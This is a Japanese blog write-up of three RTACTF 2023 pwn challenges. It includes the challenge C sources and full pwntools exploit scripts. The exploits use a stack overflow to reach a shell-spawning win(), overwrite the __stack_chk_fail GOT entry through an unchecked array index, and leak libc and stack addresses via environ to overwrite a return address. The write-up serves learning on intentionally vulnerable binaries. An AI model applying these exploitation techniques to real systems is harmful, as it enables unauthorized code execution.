走者では無いですが、"7*7=42"というペイロードなんだか究極の疑問の答えなんだかビッグブラザーなんだかわからない名前で並走してPwnを4問中3問解いたのでWriteupを書きます。

before-write (目標: 300sec) §

バイナリのソースコードは次の通り

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

ssize_t getval(const char *msg) {
  char buf[0x20] = {};
  write(STDOUT_FILENO, msg, strlen(msg));
  read(STDIN_FILENO, buf, sizeof(buf)*0x20);
  return atoll(buf);
}

int main() {
  return getval("value: ");
}

checksecの結果は次の通り

[*] '/home/xornet/CTF/rta2023/before-write/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

win関数があるしRTAなんでどうせBOFだろうと当たりを付けてwinのアドレスを敷き詰めたペイロードを送ります。

from pwn import remote, process, ELF, p64
import sys


args = sys.argv
DEBUG = True if "-d" in args else False

port = 9001
host = "35.194.118.87"

elf = ELF("./chall")

win_addr = elf.symbols["win"]
payload = p64(win_addr) * 0x10
sc = remote(host, port)
sc.recvuntil(b"value: ")
sc.sendline(payload)

sc.interactive()

# RTACTF{sizeof_is_a_bit_c0nfus1ng}
# 敗因: recvuntilをrecvlineと間違えて2分失う

最初にコードを書き終わるまで120~150秒ぐらいだったのでかなり早いんじゃないかと思いましたが、sc.recvuntil()sc.recvline()と書いていたことに2分ぐらい気付かず(再走ポイント1)、272.81秒でゴールしました。なんとか300秒は切れたので良かったです。

write (目標: 600sec) §

バイナリのソースコードは次の通り

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

ssize_t array[10];

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

checksecの結果は次の通り

[*] '/home/xornet/CTF/rta2023/write/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

前問同様に脆弱そうなgetvalが用意されていますが、今度は関数ではなくマクロです。またバッファがグローバル変数として確保されています。indexも特にチェックが無いのでarrayからのオフセットがわかるアドレスに対して書き込みが出来ます。

何を血迷ったのか最初arrayが「スタック上」に確保されていると錯覚していました(再走ポイント2)が、こいつは.bssセクションにあります。そしてメモリ配置においてこの上の方にはGOTがあるのでindexに負数をぶち込めばGOT Overwriteが出来そうです。

mainarray[index] = value;をした後には特に目立った関数は呼ばれていませんが、このバイナリはStack Canaryが有効です。また、getvalにおいて前問同様自明なBOFが出来ます。ということは__stack_chk_fail()を呼ぶことが出来そうなのでこのGOTをwinに書き換えます。

最後に、getvalatoll(buf)なのでwinのアドレスはp64等でバイトにパックして送る必要が「無い」ことに注意します(再走ポイント3)。ついでにBOFも引き起こしたいので<winのアドレスの文字列> \x00 <BOF用のパディング>みたいなペイロードを送りました。

from pwn import remote, process, p64, ELF
import sys


args = sys.argv
DEBUG = True if "-d" in args else False

port = 13337 if DEBUG else 9002
host = "35.194.118.87" if not DEBUG else "localhost"

sc = remote(host, port)

input("attach")


elf  = ELF("./chall")
win_addr = elf.symbols["win"]
array_addr = 0x00404080
stack_chk_addr = 0x00404020
diff = stack_chk_addr - array_addr
diff //= 0x8
sc.recvuntil(b"index: ")
print(str(diff))

sc.sendline(str(diff).encode())
sc.recvuntil(b"value: ")
payload = win_addr

sc.sendline(str(payload).encode() + b"\x00" * 0x10 + b"a"*0x100)


sc.interactive()

# RTACTF{__stack_chk_fail-is-s0m3t1m3s-useful}
# 敗因: glibc 2.34以上, マクロに困惑, arrayはBSSに存在

ソースコードのコメントにも書いている通りこのバイナリはglibc 2.34以上が必要です。普段使っているCTF用の環境がUbuntu 20.04でglibcのバージョンが追いついておらず、3分ぐらい無駄にした(再送ポイント4)のでそろそろ式年遷宮を行おうと思っています1

この問題は再送ポイントが3つもあったせいで1576.50秒で解きました。配信を見返すと走者の皆さんも稀にミスしているにも関わらず俺の数倍ぐらいの速度で解いていたので恐ろしいです。

read-write (目標: 900sec) §

バイナリのソースコードは次の通り

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

size_t array[10];

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

void printval(size_t val) {
  char buf[0x20] = {}, *p = buf + sizeof(buf) - 1;
  *--p = '\n';
  do {
    *--p = '0' + (val % 10);
    val /= 10;
  } while (val);
  write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1);
}

size_t getval(const char *msg) {
  char buf[0x20] = {};
  write(STDOUT_FILENO, msg, strlen(msg));
  read(STDIN_FILENO, buf, sizeof(buf)*0x20);
  return atoll(buf);
}

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

checksecの結果は次の通り

[*] '/home/xornet/CTF/rta2023/read-write/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

前問のgetvalは関数になっています。またarrayに対する書き込みだけでなく読み出しも出来るようになり、どちらも合わせて3回まで行えるようです。

最初は前問との本質的な違いがよくわからず、atollのGOTを書き換えれば終わりだと思ってガチャガチャやっていたのですが、Full RELROなので出来ません(再走ポイント5)。そうなると書き換えられるのはリターンアドレスぐらいなものですが2、Canaryも有効なのでgetvalの自明なBOFを利用するのも難しそうです。そこでスタックアドレスをリークする事を考えましたが、Pwnを2年半程やっていないせいでスタックのリーク方法がわかりません。というわけで"Stack leak Pwn CTF"とかいう検索ワードで検索するとNaetw/CTF-pwn-tips: Here record some tips about pwn. Something is obsoleted and won't be updated. Sorry about that.がヒットします。

最終更新が2018年ですが、Leak stack addressの節は今でも使えそうです。これによるとlibc中のenvironというシンボルにスタック上に環境変数を詰め込んだ箇所を指すポインタが入っているようです。この問題はarrayを踏み台にした読み出しが可能なので上部のGOTから適当な関数を選んでlibcの配置アドレスがリーク出来ます。というわけでenvironまでのオフセットを足してあげればenvironに対する読み出しも出来そうです。但し、pwntoolsのELFクラスにlibcを食わせてsymbols["environ"]を探したんですがKeyErrorを返されて途方にくれたので(再走ポイント6)、最終的に各種OSのUserlandにおけるPwn入門 - WTF!?を見てnm -D <libc> | grep environを実行しました。

これでスタック上を指すアドレスがリーク出来たので、environが指している位置からリターンアドレスまでのオフセットを足して3、最後に前問同様にwinを書き込みます。

from pwn import remote, process, p64, ELF
import sys


args = sys.argv
DEBUG = True if "-d" in args else False

port = 13337 if DEBUG else 9003
host = "35.194.118.87" if not DEBUG else "localhost"

sc = remote(host, port)

input("attach")


elf  = ELF("./chall")
libc = ELF("./libc.so.6")
win_addr = elf.symbols["win"]
sc.sendline(b"1")
sc.recvuntil(b"index: ")
idx = -12
sc.sendline(str(idx).encode())
res = sc.recvline().strip().decode()
leak = int(res)
libc_addr = leak - (0x00007f39c20360f0 - 0x7f39c1f4b000)

# stack leak?
environ_addr = 0x0000000000221200+ libc_addr
array_addr = 0x404040
idx = environ_addr - array_addr
idx //= 0x8
sc.sendline(b"1")
sc.recvuntil(b"index: ")
sc.sendline(str(idx).encode())
res = sc.recvline().strip().decode()
res = int(res)


ret = res + (0x7ffd18f488e8 - 0x7ffd18f48888 - 0x180) #????
print(hex(ret))

# overwrite return address
sc.sendline(b"2")
sc.recvuntil(b"index: ")
idx = (ret - array_addr) // 0x8
sc.sendline(str(idx).encode())
sc.recvuntil(b"value: ")
sc.sendline(str(win_addr).encode())

sc.interactive()

# RTACTF{environ_to_stack...}
# 敗因: libc address leak以外全部

この問題は新要素があってGoogleとGDBと戯れていていたこともあり、2933.11秒で解きました。解いて放送に戻ったら4問目のonly-readの解説が終わっていました。

only-read (目標: 1800sec) §

解いていないので近々復習するかもしれないです (解いたとしてもここに追記するか別記事に書くかは不明)

書きました: RTACTF 2023 - only-read

(番外編) Crypto §

開始直前の問題一覧に「AES」とかいう文字が見えたので、エディタとターミナルを閉じて酒を飲みに行きました4


1

特にこの影響を受けているのがRevで最近のバイナリはどいつもこいつも2.34以上を要求してくる

2

後で放送を見返したらlibc中のGOT(Partial-RELRO)といった何らかの関数ポインタを書き換えるといったことが検討されていたが、思いつきもしなかったしこれもそもそも難しいらしい

3

実際は負数なので引いている

4

これは半分嘘で、Cryptoの3問目ぐらいまで(走者の皆様が沼っているのを)観戦しそこから酒を飲みに行った